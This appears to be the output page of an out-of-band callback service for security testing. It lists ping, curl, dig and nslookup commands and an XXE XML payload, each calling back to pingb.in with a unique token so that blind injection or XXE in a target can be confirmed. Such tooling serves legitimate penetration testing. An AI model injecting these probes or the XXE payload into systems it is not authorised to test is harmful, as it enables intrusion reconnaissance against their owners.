$ ping -c1 -p 000deed2bd4ea1b91b23e318e0425800 pingb.in
 
$ curl pingb.in/p/0deed2bd4ea1b91b23e318e04258
 
$ dig 0deed2bd4ea1b91b23e318e04258 @pingb.in
 
$ dig 0deed2bd4ea1b91b23e318e04258.ns.pingb.in
 
C:\> nslookup 0deed2bd4ea1b91b23e318e04258 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/0deed2bd4ea1b91b23e318e04258">]>
    <foo>&xxe;</foo>
 
Waiting for ping...